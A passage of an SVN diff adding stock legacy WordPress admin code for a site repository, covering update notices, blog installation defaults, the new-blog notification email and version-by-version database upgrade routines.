+	return update_option( 'dismissed_update_core', $dismissed );
+}
+
+function find_core_update( $version, $locale ) {
+	$from_api = get_transient( 'update_core' );
+	if ( !is_array( $from_api->updates ) ) return false;
+	$updates = $from_api->updates;
+	foreach($updates as $update) {
+		if ( $update->current == $version && $update->locale == $locale )
+			return $update;
+	}
+	return false;
+}
+
+function core_update_footer( $msg = '' ) {
+	if ( !current_user_can('manage_options') )
+		return sprintf( __( 'Version %s' ), $GLOBALS['wp_version'] );
+
+	$cur = get_preferred_from_update_core();
+	if ( ! isset( $cur->current ) )
+		$cur->current = '';
+
+	if ( ! isset( $cur->url ) )
+		$cur->url = '';
+
+	if ( ! isset( $cur->response ) )
+		$cur->response = '';
+
+	switch ( $cur->response ) {
+	case 'development' :
+		return sprintf( __( 'You are using a development version (%1$s). Cool! Please <a href="%2$s">stay updated</a>.' ), $GLOBALS['wp_version'], 'update-core.php');
+	break;
+
+	case 'upgrade' :
+		if ( current_user_can('manage_options') ) {
+			return sprintf( '<strong>'.__( '<a href="%1$s">Get Version %2$s</a>' ).'</strong>', 'update-core.php', $cur->current);
+			break;
+		}
+
+	case 'latest' :
+	default :
+		return sprintf( __( 'Version %s' ), $GLOBALS['wp_version'] );
+	break;
+	}
+}
+add_filter( 'update_footer', 'core_update_footer' );
+
+function update_nag() {
+	global $pagenow;
+
+	if ( 'update-core.php' == $pagenow )
+		return;
+
+	$cur = get_preferred_from_update_core();
+
+	if ( ! isset( $cur->response ) || $cur->response != 'upgrade' )
+		return false;
+
+	if ( current_user_can('manage_options') )
+		$msg = sprintf( __('WordPress %1$s is available! <a href="%2$s">Please update now</a>.'), $cur->current, 'update-core.php' );
+	else
+		$msg = sprintf( __('WordPress %1$s is available! Please notify the site administrator.'), $cur->current );
+
+	echo "<div id='update-nag'>$msg</div>";
+}
+add_action( 'admin_notices', 'update_nag', 3 );
+
+// Called directly from dashboard
+function update_right_now_message() {
+	$cur = get_preferred_from_update_core();
+
+	$msg = sprintf( __('You are using <span class="b">WordPress %s</span>.'), $GLOBALS['wp_version'] );
+	if ( isset( $cur->response ) && $cur->response == 'upgrade' && current_user_can('manage_options') )
+		$msg .= " <a href='update-core.php' class='button'>" . sprintf( __('Update to %s'), $cur->current ? $cur->current : __( 'Latest' ) ) . '</a>';
+
+	echo "<span id='wp-version-message'>$msg</span>";
+}
+
+function wp_plugin_update_row( $file, $plugin_data ) {
+	$current = get_transient( 'update_plugins' );
+	if ( !isset( $current->response[ $file ] ) )
+		return false;
+
+	$r = $current->response[ $file ];
+
+	$plugins_allowedtags = array('a' => array('href' => array(),'title' => array()),'abbr' => array('title' => array()),'acronym' => array('title' => array()),'code' => array(),'em' => array(),'strong' => array());
+	$plugin_name = wp_kses( $plugin_data['Name'], $plugins_allowedtags );
+
+	$details_url = admin_url('plugin-install.php?tab=plugin-information&plugin=' . $r->slug . '&TB_iframe=true&width=600&height=800');
+
+	echo '<tr class="plugin-update-tr"><td colspan="3" class="plugin-update"><div class="update-message">';
+	if ( ! current_user_can('update_plugins') )
+		printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s Details</a>.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version );
+	else if ( empty($r->package) )
+		printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s Details</a> <em>automatic upgrade unavailable for this plugin</em>.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version );
+	else
+		printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s Details</a> or <a href="%5$s">upgrade automatically</a>.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version, wp_nonce_url('update.php?action=upgrade-plugin&plugin=' . $file, 'upgrade-plugin_' . $file) );
+
+	do_action( "in_plugin_update_message-$file", $plugin_data, $r );
+
+	echo '</div></td></tr>';
+}
+add_action( 'after_plugin_row', 'wp_plugin_update_row', 10, 2 );
+
+function wp_update_plugin($plugin, $feedback = '') {
+
+	if ( !empty($feedback) )
+		add_filter('update_feedback', $feedback);
+
+	include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+	$upgrader = new Plugin_Upgrader();
+	return $upgrader->upgrade($plugin);
+}
+
+function wp_update_theme($theme, $feedback = '') {
+
+	if ( !empty($feedback) )
+		add_filter('update_feedback', $feedback);
+
+	include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+	$upgrader = new Theme_Upgrader();
+	return $upgrader->upgrade($theme);
+}
+
+
+function wp_update_core($current, $feedback = '') {
+
+	if ( !empty($feedback) )
+		add_filter('update_feedback', $feedback);
+
+	include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+	$upgrader = new Core_Upgrader();
+	return $upgrader->upgrade($current);
+
+}
+
+function maintenance_nag() {
+	global $upgrading;
+	if ( ! isset( $upgrading ) )
+		return false;
+
+	if ( current_user_can('manage_options') )
+		$msg = sprintf( __('An automated WordPress update has failed to complete - <a href="%s">please attempt the update again now</a>.'), 'update-core.php' );
+	else
+		$msg = __('An automated WordPress update has failed to complete! Please notify the site administrator.');
+
+	echo "<div id='update-nag'>$msg</div>";
+}
+add_action( 'admin_notices', 'maintenance_nag' );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/upgrade.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/upgrade.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/upgrade.php	(revision 44)
@@ -0,0 +1,1659 @@
+<?php
+/**
+ * WordPress Upgrade API
+ *
+ * Most of the functions are pluggable and can be overwritten
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Include user install customize script. */
+if ( file_exists(WP_CONTENT_DIR . '/install.php') )
+	require (WP_CONTENT_DIR . '/install.php');
+
+/** WordPress Administration API */
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+
+/** WordPress Schema API */
+require_once(ABSPATH . 'wp-admin/includes/schema.php');
+
+if ( !function_exists('wp_install') ) :
+/**
+ * Installs the blog
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param string $blog_title Blog title.
+ * @param string $user_name User's username.
+ * @param string $user_email User's email.
+ * @param bool $public Whether blog is public.
+ * @param null $deprecated Optional. Not used.
+ * @return array Array keys 'url', 'user_id', 'password', 'password_message'.
+ */
+function wp_install($blog_title, $user_name, $user_email, $public, $deprecated='') {
+	global $wp_rewrite;
+
+	wp_check_mysql_version();
+	wp_cache_flush();
+	make_db_current_silent();
+	populate_options();
+	populate_roles();
+
+	update_option('blogname', $blog_title);
+	update_option('admin_email', $user_email);
+	update_option('blog_public', $public);
+
+	$guessurl = wp_guess_url();
+
+	update_option('siteurl', $guessurl);
+
+	// If not a public blog, don't ping.
+	if ( ! $public )
+		update_option('default_pingback_flag', 0);
+
+	// Create default user.  If the user already exists, the user tables are
+	// being shared among blogs.  Just set the role in that case.
+	$user_id = username_exists($user_name);
+	if ( !$user_id ) {
+		$random_password = wp_generate_password();
+		$message = __('<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.');
+		$user_id = wp_create_user($user_name, $random_password, $user_email);
+		update_usermeta($user_id, 'default_password_nag', true);
+	} else {
+		$random_password = '';
+		$message =  __('User already exists.  Password inherited.');
+	}
+
+	$user = new WP_User($user_id);
+	$user->set_role('administrator');
+
+	wp_install_defaults($user_id);
+
+	$wp_rewrite->flush_rules();
+
+	wp_new_blog_notification($blog_title, $guessurl, $user_id, $random_password);
+
+	wp_cache_flush();
+
+	return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $random_password, 'password_message' => $message);
+}
+endif;
+
+if ( !function_exists('wp_install_defaults') ) :
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param int $user_id User ID.
+ */
+function wp_install_defaults($user_id) {
+	global $wpdb;
+
+	// Default category
+	$cat_name = __('Uncategorized');
+	/* translators: Default category slug */
+	$cat_slug = sanitize_title(_x('Uncategorized', 'Default category slug'));
+
+	$wpdb->insert( $wpdb->terms, array('name' => $cat_name, 'slug' => $cat_slug, 'term_group' => 0) );
+	$wpdb->insert( $wpdb->term_taxonomy, array('term_id' => '1', 'taxonomy' => 'category', 'description' => '', 'parent' => 0, 'count' => 1));
+
+	// Default link category
+	$cat_name = __('Blogroll');
+	/* translators: Default link category slug */
+	$cat_slug = sanitize_title(_x('Blogroll', 'Default link category slug'));
+
+	$wpdb->insert( $wpdb->terms, array('name' => $cat_name, 'slug' => $cat_slug, 'term_group' => 0) );
+	$wpdb->insert( $wpdb->term_taxonomy, array('term_id' => '2', 'taxonomy' => 'link_category', 'description' => '', 'parent' => 0, 'count' => 7));
+
+	// Now drop in some default links
+	$default_links = array();
+	$default_links[] = array(	'link_url' => 'http://codex.wordpress.org/',
+								'link_name' => 'Documentation',
+								'link_rss' => '',
+								'link_notes' => '');
+
+	$default_links[] = array(	'link_url' => 'http://wordpress.org/development/',
+								'link_name' => 'Development Blog',
+								'link_rss' => 'http://wordpress.org/development/feed/',
+								'link_notes' => '');
+
+	$default_links[] = array(	'link_url' => 'http://wordpress.org/extend/ideas/',
+								'link_name' => 'Suggest Ideas',
+								'link_rss' => '',
+								'link_notes' =>'');
+
+	$default_links[] = array(	'link_url' => 'http://wordpress.org/support/',
+								'link_name' => 'Support Forum',
+								'link_rss' => '',
+								'link_notes' =>'');
+
+	$default_links[] = array(	'link_url' => 'http://wordpress.org/extend/plugins/',
+								'link_name' => 'Plugins',
+								'link_rss' => '',
+								'link_notes' =>'');
+
+	$default_links[] = array(	'link_url' => 'http://wordpress.org/extend/themes/',
+								'link_name' => 'Themes',
+								'link_rss' => '',
+								'link_notes' =>'');
+
+	$default_links[] = array(	'link_url' => 'http://planet.wordpress.org/',
+								'link_name' => 'WordPress Planet',
+								'link_rss' => '',
+								'link_notes' =>'');
+
+	foreach ( $default_links as $link ) {
+		$wpdb->insert( $wpdb->links, $link);
+		$wpdb->insert( $wpdb->term_relationships, array('term_taxonomy_id' => 2, 'object_id' => $wpdb->insert_id) );
+	}
+
+	// First post
+	$now = date('Y-m-d H:i:s');
+	$now_gmt = gmdate('Y-m-d H:i:s');
+	$first_post_guid = get_option('home') . '/?p=1';
+
+	$wpdb->insert( $wpdb->posts, array(
+								'post_author' => $user_id,
+								'post_date' => $now,
+								'post_date_gmt' => $now_gmt,
+								'post_content' => __('Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!'),
+								'post_excerpt' => '',
+								'post_title' => __('Hello world!'),
+								/* translators: Default post slug */
+								'post_name' => _x('hello-world', 'Default post slug'),
+								'post_modified' => $now,
+								'post_modified_gmt' => $now_gmt,
+								'guid' => $first_post_guid,
+								'comment_count' => 1,
+								'to_ping' => '',
+								'pinged' => '',
+								'post_content_filtered' => ''
+								));
+	$wpdb->insert( $wpdb->term_relationships, array('term_taxonomy_id' => 1, 'object_id' => 1) );
+
+	// Default comment
+	$wpdb->insert( $wpdb->comments, array(
+								'comment_post_ID' => 1,
+								'comment_author' => __('Mr WordPress'),
+								'comment_author_email' => '',
+								'comment_author_url' => 'http://wordpress.org/',
+								'comment_date' => $now,
+								'comment_date_gmt' => $now_gmt,
+								'comment_content' => __('Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.')
+								));
+	// First Page
+	$first_post_guid = get_option('home') . '/?page_id=2';
+	$wpdb->insert( $wpdb->posts, array(
+								'post_author' => $user_id,
+								'post_date' => $now,
+								'post_date_gmt' => $now_gmt,
+								'post_content' => __('This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.'),
+								'post_excerpt' => '',
+								'post_title' => __('About'),
+								/* translators: Default page slug */
+								'post_name' => _x('about', 'Default page slug'),
+								'post_modified' => $now,
+								'post_modified_gmt' => $now_gmt,
+								'guid' => $first_post_guid,
+								'post_type' => 'page',
+								'to_ping' => '',
+								'pinged' => '',
+								'post_content_filtered' => ''
+								));
+}
+endif;
+
+if ( !function_exists('wp_new_blog_notification') ) :
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @param string $blog_title Blog title.
+ * @param string $blog_url Blog url.
+ * @param int $user_id User ID.
+ * @param string $password User's Password.
+ */
+function wp_new_blog_notification($blog_title, $blog_url, $user_id, $password) {
+	$user = new WP_User($user_id);
+	$email = $user->user_email;
+	$name = $user->user_login;
+	$message = sprintf(__("Your new WordPress blog has been successfully set up at:
+
+%1\$s
+
+You can log in to the administrator account with the following information:
+
+Username: %2\$s
+Password: %3\$s
+
+We hope you enjoy your new blog. Thanks!
+
+--The WordPress Team
+http://wordpress.org/
+"), $blog_url, $name, $password);
+
+	@wp_mail($email, __('New WordPress Blog'), $message);
+}
+endif;
+
+if ( !function_exists('wp_upgrade') ) :
+/**
+ * Run WordPress Upgrade functions.
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ *
+ * @return null
+ */
+function wp_upgrade() {
+	global $wp_current_db_version, $wp_db_version;
+
+	$wp_current_db_version = __get_option('db_version');
+
+	// We are up-to-date.  Nothing to do.
+	if ( $wp_db_version == $wp_current_db_version )
+		return;
+
+	if( ! is_blog_installed() )
+		return;
+
+	wp_check_mysql_version();
+	wp_cache_flush();
+	make_db_current_silent();
+	upgrade_all();
+	wp_cache_flush();
+}
+endif;
+
+/**
+ * Functions to be called in install and upgrade scripts.
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since unknown
+ */
+function upgrade_all() {
+	global $wp_current_db_version, $wp_db_version, $wp_rewrite;
+	$wp_current_db_version = __get_option('db_version');
+
+	// We are up-to-date.  Nothing to do.
+	if ( $wp_db_version == $wp_current_db_version )
+		return;
+
+	// If the version is not set in the DB, try to guess the version.
+	if ( empty($wp_current_db_version) ) {
+		$wp_current_db_version = 0;
+
+		// If the template option exists, we have 1.5.
+		$template = __get_option('template');
+		if ( !empty($template) )
+			$wp_current_db_version = 2541;
+	}
+
+	if ( $wp_current_db_version < 6039 )
+		upgrade_230_options_table();
+
+	populate_options();
+
+	if ( $wp_current_db_version < 2541 ) {
+		upgrade_100();
+		upgrade_101();
+		upgrade_110();
+		upgrade_130();
+	}
+
+	if ( $wp_current_db_version < 3308 )
+		upgrade_160();
+
+	if ( $wp_current_db_version < 4772 )
+		upgrade_210();
+
+	if ( $wp_current_db_version < 4351 )
+		upgrade_old_slugs();
+
+	if ( $wp_current_db_version < 5539 )
+		upgrade_230();
+
+	if ( $wp_current_db_version < 6124 )
+		upgrade_230_old_tables();
+
+	if ( $wp_current_db_version < 7499 )
+		upgrade_250();
+
+	if ( $wp_current_db_version < 7796 )
+		upgrade_251();
+
+	if ( $wp_current_db_version < 7935 )
+		upgrade_252();
+
+	if ( $wp_current_db_version < 8201 )
+		upgrade_260();
+
+	if ( $wp_current_db_version < 8989 )
+		upgrade_270();
+
+	if ( $wp_current_db_version < 10360 )
+		upgrade_280();
+
+	maybe_disable_automattic_widgets();
+
+	update_option( 'db_version', $wp_db_version );
+	update_option( 'db_upgraded', true );
+}
+
+/**
+ * Execute changes made in WordPress 1.0.
+ *
+ * @since 1.0.0
+ */
+function upgrade_100() {
+	global $wpdb;
+
+	// Get the title and ID of every post, post_name to check if it already has a value
+	$posts = $wpdb->get_results("SELECT ID, post_title, post_name FROM $wpdb->posts WHERE post_name = ''");
+	if ($posts) {
+		foreach($posts as $post) {
+			if ('' == $post->post_name) {
+				$newtitle = sanitize_title($post->post_title);
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_name = %s WHERE ID = %d", $newtitle, $post->ID) );
+			}
+		}
+	}
+
+	$categories = $wpdb->get_results("SELECT cat_ID, cat_name, category_nicename FROM $wpdb->categories");
+	foreach ($categories as $category) {
+		if ('' == $category->category_nicename) {
+			$newtitle = sanitize_title($category->cat_name);
+			$wpdb>update( $wpdb->categories, array('category_nicename' => $newtitle), array('cat_ID' => $category->cat_ID) );
+		}
+	}
+
+	$wpdb->query("UPDATE $wpdb->options SET option_value = REPLACE(option_value, 'wp-links/links-images/', 'wp-images/links/')
+	WHERE option_name LIKE 'links_rating_image%'
+	AND option_value LIKE 'wp-links/links-images/%'");
+
+	$done_ids = $wpdb->get_results("SELECT DISTINCT post_id FROM $wpdb->post2cat");
+	if ($done_ids) :
+		foreach ($done_ids as $done_id) :
+			$done_posts[] = $done_id->post_id;
+		endforeach;
+		$catwhere = ' AND ID NOT IN (' . implode(',', $done_posts) . ')';
+	else:
+		$catwhere = '';
+	endif;
+
+	$allposts = $wpdb->get_results("SELECT ID, post_category FROM $wpdb->posts WHERE post_category != '0' $catwhere");
+	if ($allposts) :
+		foreach ($allposts as $post) {
+			// Check to see if it's already been imported
+			$cat = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->post2cat WHERE post_id = %d AND category_id = %d", $post->ID, $post->post_category) );
+			if (!$cat && 0 != $post->post_category) { // If there's no result
+				$wpdb->insert( $wpdb->post2cat, array('post_id' => $post->ID, 'category_id' => $post->post_category) );
+			}
+		}
+	endif;
+}
+
+/**
+ * Execute changes made in WordPress 1.0.1.
+ *
+ * @since 1.0.1
+ */
+function upgrade_101() {
+	global $wpdb;
+
+	// Clean up indices, add a few
+	add_clean_index($wpdb->posts, 'post_name');
+	add_clean_index($wpdb->posts, 'post_status');
+	add_clean_index($wpdb->categories, 'category_nicename');
+	add_clean_index($wpdb->comments, 'comment_approved');
+	add_clean_index($wpdb->comments, 'comment_post_ID');
+	add_clean_index($wpdb->links , 'link_category');
+	add_clean_index($wpdb->links , 'link_visible');
+}
+
+/**
+ * Execute changes made in WordPress 1.2.
+ *
+ * @since 1.2.0
+ */
+function upgrade_110() {
+	global $wpdb;
+
+	// Set user_nicename.
+	$users = $wpdb->get_results("SELECT ID, user_nickname, user_nicename FROM $wpdb->users");
+	foreach ($users as $user) {
+		if ('' == $user->user_nicename) {
+			$newname = sanitize_title($user->user_nickname);
+			$wpdb->update( $wpdb->users, array('user_nicename' => $newname), array('ID' => $user->ID) );
+		}
+	}
+
+	$users = $wpdb->get_results("SELECT ID, user_pass from $wpdb->users");
+	foreach ($users as $row) {
+		if (!preg_match('/^[A-Fa-f0-9]{32}$/', $row->user_pass)) {
+			$wpdb->update( $wpdb->users, array('user_pass' => md5($row->user_pass)), array('ID' => $row->ID) );
+		}
+	}
+
+	// Get the GMT offset, we'll use that later on
+	$all_options = get_alloptions_110();
+
+	$time_difference = $all_options->time_difference;
+
+	$server_time = time()+date('Z');
+	$weblogger_time = $server_time + $time_difference*3600;
+	$gmt_time = time();
+
+	$diff_gmt_server = ($gmt_time - $server_time) / 3600;
+	$diff_weblogger_server = ($weblogger_time - $server_time) / 3600;
+	$diff_gmt_weblogger = $diff_gmt_server - $diff_weblogger_server;
+	$gmt_offset = -$diff_gmt_weblogger;
+
+	// Add a gmt_offset option, with value $gmt_offset
+	add_option('gmt_offset', $gmt_offset);
+
+	// Check if we already set the GMT fields (if we did, then
+	// MAX(post_date_gmt) can't be '0000-00-00 00:00:00'
+	// <michel_v> I just slapped myself silly for not thinking about it earlier
+	$got_gmt_fields = ($wpdb->get_var("SELECT MAX(post_date_gmt) FROM $wpdb->posts") == '0000-00-00 00:00:00') ? false : true;
+
+	if (!$got_gmt_fields) {
+
+		// Add or substract time to all dates, to get GMT dates
+		$add_hours = intval($diff_gmt_weblogger);
+		$add_minutes = intval(60 * ($diff_gmt_weblogger - $add_hours));
+		$wpdb->query("UPDATE $wpdb->posts SET post_date_gmt = DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)");
+		$wpdb->query("UPDATE $wpdb->posts SET post_modified = post_date");
+		$wpdb->query("UPDATE $wpdb->posts SET post_modified_gmt = DATE_ADD(post_modified, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE) WHERE post_modified != '0000-00-00 00:00:00'");
+		$wpdb->query("UPDATE $wpdb->comments SET comment_date_gmt = DATE_ADD(comment_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)");
+		$wpdb->query("UPDATE $wpdb->users SET user_registered = DATE_ADD(user_registered, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)");
+	}
+
+}
+
+/**
+ * Execute changes made in WordPress 1.5.
+ *
+ * @since 1.5.0
+ */
+function upgrade_130() {
+	global $wpdb;
+
+	// Remove extraneous backslashes.
+	$posts = $wpdb->get_results("SELECT ID, post_title, post_content, post_excerpt, guid, post_date, post_name, post_status, post_author FROM $wpdb->posts");
+	if ($posts) {
+		foreach($posts as $post) {
+			$post_content = addslashes(deslash($post->post_content));
+			$post_title = addslashes(deslash($post->post_title));
+			$post_excerpt = addslashes(deslash($post->post_excerpt));
+			if ( empty($post->guid) )
+				$guid = get_permalink($post->ID);
+			else
+				$guid = $post->guid;
+
+			$wpdb->update( $wpdb->posts, compact('post_title', 'post_content', 'post_excerpt', 'guid'), array('ID' => $post->ID) );
+
+		}
+	}
+
+	// Remove extraneous backslashes.
+	$comments = $wpdb->get_results("SELECT comment_ID, comment_author, comment_content FROM $wpdb->comments");
+	if ($comments) {
+		foreach($comments as $comment) {
+			$comment_content = deslash($comment->comment_content);
+			$comment_author = deslash($comment->comment_author);
+
+			$wpdb->update($wpdb->comments, compact('comment_content', 'comment_author'), array('comment_ID' => $comment->comment_ID) );
+		}
+	}
+
+	// Remove extraneous backslashes.
+	$links = $wpdb->get_results("SELECT link_id, link_name, link_description FROM $wpdb->links");
+	if ($links) {
+		foreach($links as $link) {
+			$link_name = deslash($link->link_name);
+			$link_description = deslash($link->link_description);
+
+			$wpdb->update( $wpdb->links, compact('link_name', 'link_description'), array('link_id' => $link->link_id) );
+		}
+	}
+
+	$active_plugins = __get_option('active_plugins');
+
+	// If plugins are not stored in an array, they're stored in the old
+	// newline separated format.  Convert to new format.
+	if ( !is_array( $active_plugins ) ) {
+		$active_plugins = explode("\n", trim($active_plugins));
+		update_option('active_plugins', $active_plugins);
+	}
+
+	// Obsolete tables
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optionvalues');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiontypes');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroups');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroup_options');
+
+	// Update comments table to use comment_type
+	$wpdb->query("UPDATE $wpdb->comments SET comment_type='trackback', comment_content = REPLACE(comment_content, '<trackback />', '') WHERE comment_content LIKE '<trackback />%'");
+	$wpdb->query("UPDATE $wpdb->comments SET comment_type='pingback', comment_content = REPLACE(comment_content, '<pingback />', '') WHERE comment_content LIKE '<pingback />%'");
+
+	// Some versions have multiple duplicate option_name rows with the same values
+	$options = $wpdb->get_results("SELECT option_name, COUNT(option_name) AS dupes FROM `$wpdb->options` GROUP BY option_name");
+	foreach ( $options as $option ) {
+		if ( 1 != $option->dupes ) { // Could this be done in the query?
+			$limit = $option->dupes - 1;
+			$dupe_ids = $wpdb->get_col( $wpdb->prepare("SELECT option_id FROM $wpdb->options WHERE option_name = %s LIMIT %d", $option->option_name, $limit) );
+			$dupe_ids = join($dupe_ids, ',');
+			$wpdb->query("DELETE FROM $wpdb->options WHERE option_id IN ($dupe_ids)");
+		}
+	}
+
+	make_site_theme();
+}
+
+/**
+ * Execute changes made in WordPress 2.0.
+ *
+ * @since 2.0.0
+ */
+function upgrade_160() {
+	global $wpdb, $wp_current_db_version;
+
+	populate_roles_160();
+
+	$users = $wpdb->get_results("SELECT * FROM $wpdb->users");
+	foreach ( $users as $user ) :
+		if ( !empty( $user->user_firstname ) )
+			update_usermeta( $user->ID, 'first_name', $wpdb->escape($user->user_firstname) );
+		if ( !empty( $user->user_lastname ) )
+			update_usermeta( $user->ID, 'last_name', $wpdb->escape($user->user_lastname) );
+		if ( !empty( $user->user_nickname ) )
+			update_usermeta( $user->ID, 'nickname', $wpdb->escape($user->user_nickname) );
+		if ( !empty( $user->user_level ) )
+			update_usermeta( $user->ID, $wpdb->prefix . 'user_level', $user->user_level );
+		if ( !empty( $user->user_icq ) )
+			update_usermeta( $user->ID, 'icq', $wpdb->escape($user->user_icq) );
+		if ( !empty( $user->user_aim ) )
+			update_usermeta( $user->ID, 'aim', $wpdb->escape($user->user_aim) );
+		if ( !empty( $user->user_msn ) )
+			update_usermeta( $user->ID, 'msn', $wpdb->escape($user->user_msn) );
+		if ( !empty( $user->user_yim ) )
+			update_usermeta( $user->ID, 'yim', $wpdb->escape($user->user_icq) );
+		if ( !empty( $user->user_description ) )
+			update_usermeta( $user->ID, 'description', $wpdb->escape($user->user_description) );
+
+		if ( isset( $user->user_idmode ) ):
+			$idmode = $user->user_idmode;
+			if ($idmode == 'nickname') $id = $user->user_nickname;
+			if ($idmode == 'login') $id = $user->user_login;
+			if ($idmode == 'firstname') $id = $user->user_firstname;
+			if ($idmode == 'lastname') $id = $user->user_lastname;
+			if ($idmode == 'namefl') $id = $user->user_firstname.' '.$user->user_lastname;
+			if ($idmode == 'namelf') $id = $user->user_lastname.' '.$user->user_firstname;
+			if (!$idmode) $id = $user->user_nickname;
+			$wpdb->update( $wpdb->users, array('display_name' => $id), array('ID' => $user->ID) );
+		endif;
+
+		// FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set.
+		$caps = get_usermeta( $user->ID, $wpdb->prefix . 'capabilities');
+		if ( empty($caps) || defined('RESET_CAPS') ) {
+			$level = get_usermeta($user->ID, $wpdb->prefix . 'user_level');
+			$role = translate_level_to_role($level);
+			update_usermeta( $user->ID, $wpdb->prefix . 'capabilities', array($role => true) );
+		}
+
+	endforeach;
+	$old_user_fields = array( 'user_firstname', 'user_lastname', 'user_icq', 'user_aim', 'user_msn', 'user_yim', 'user_idmode', 'user_ip', 'user_domain', 'user_browser', 'user_description', 'user_nickname', 'user_level' );
+	$wpdb->hide_errors();
+	foreach ( $old_user_fields as $old )
+		$wpdb->query("ALTER TABLE $wpdb->users DROP $old");
+	$wpdb->show_errors();
+
+	// populate comment_count field of posts table
+	$comments = $wpdb->get_results( "SELECT comment_post_ID, COUNT(*) as c FROM $wpdb->comments WHERE comment_approved = '1' GROUP BY comment_post_ID" );
+	if( is_array( $comments ) )
+		foreach ($comments as $comment)
+			$wpdb->update( $wpdb->posts, array('comment_count' => $comment->c), array('ID' => $comment->comment_post_ID) );
+
+	// Some alpha versions used a post status of object instead of attachment and put
+	// the mime type in post_type instead of post_mime_type.
+	if ( $wp_current_db_version > 2541 && $wp_current_db_version <= 3091 ) {
+		$objects = $wpdb->get_results("SELECT ID, post_type FROM $wpdb->posts WHERE post_status = 'object'");
+		foreach ($objects as $object) {
+			$wpdb->update( $wpdb->posts, array(	'post_status' => 'attachment',
+												'post_mime_type' => $object->post_type,
+												'post_type' => ''),
+										 array( 'ID' => $object->ID ) );
+
+			$meta = get_post_meta($object->ID, 'imagedata', true);
+			if ( ! empty($meta['file']) )
+				update_attached_file( $object->ID, $meta['file'] );
+		}
+	}
+}
+
+/**
+ * Execute changes made in WordPress 2.1.
+ *
+ * @since 2.1.0
+ */
+function upgrade_210() {
+	global $wpdb, $wp_current_db_version;
+
+	if ( $wp_current_db_version < 3506 ) {
+		// Update status and type.
+		$posts = $wpdb->get_results("SELECT ID, post_status FROM $wpdb->posts");
+
+		if ( ! empty($posts) ) foreach ($posts as $post) {
+			$status = $post->post_status;
+			$type = 'post';
+
+			if ( 'static' == $status ) {
+				$status = 'publish';
+				$type = 'page';
+			} else if ( 'attachment' == $status ) {
+				$status = 'inherit';
+				$type = 'attachment';
+			}
+
+			$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_status = %s, post_type = %s WHERE ID = %d", $status, $type, $post->ID) );
+		}
+	}
+
+	if ( $wp_current_db_version < 3845 ) {
+		populate_roles_210();
+	}
+
+	if ( $wp_current_db_version < 3531 ) {
+		// Give future posts a post_status of future.
+		$now = gmdate('Y-m-d H:i:59');
+		$wpdb->query ("UPDATE $wpdb->posts SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '$now'");
+
+		$posts = $wpdb->get_results("SELECT ID, post_date FROM $wpdb->posts WHERE post_status ='future'");
+		if ( !empty($posts) )
+			foreach ( $posts as $post )
+				wp_schedule_single_event(mysql2date('U', $post->post_date, false), 'publish_future_post', array($post->ID));
+	}
+}
+
+/**
+ * Execute changes made in WordPress 2.3.
+ *
+ * @since 2.3.0
+ */
+function upgrade_230() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 5200 ) {
+		populate_roles_230();
+	}
+
+	// Convert categories to terms.
+	$tt_ids = array();
+	$have_tags = false;
+	$categories = $wpdb->get_results("SELECT * FROM $wpdb->categories ORDER BY cat_ID");
+	foreach ($categories as $category) {
+		$term_id = (int) $category->cat_ID;
+		$name = $category->cat_name;
+		$description = $category->category_description;
+		$slug = $category->category_nicename;
+		$parent = $category->category_parent;
+		$term_group = 0;
+
+		// Associate terms with the same slug in a term group and make slugs unique.
+		if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) {
+			$term_group = $exists[0]->term_group;
+			$id = $exists[0]->term_id;
+			$num = 2;
+			do {
+				$alt_slug = $slug . "-$num";
+				$num++;
+				$slug_check = $wpdb->get_var( $wpdb->prepare("SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug) );
+			} while ( $slug_check );
+
+			$slug = $alt_slug;
+
+			if ( empty( $term_group ) ) {
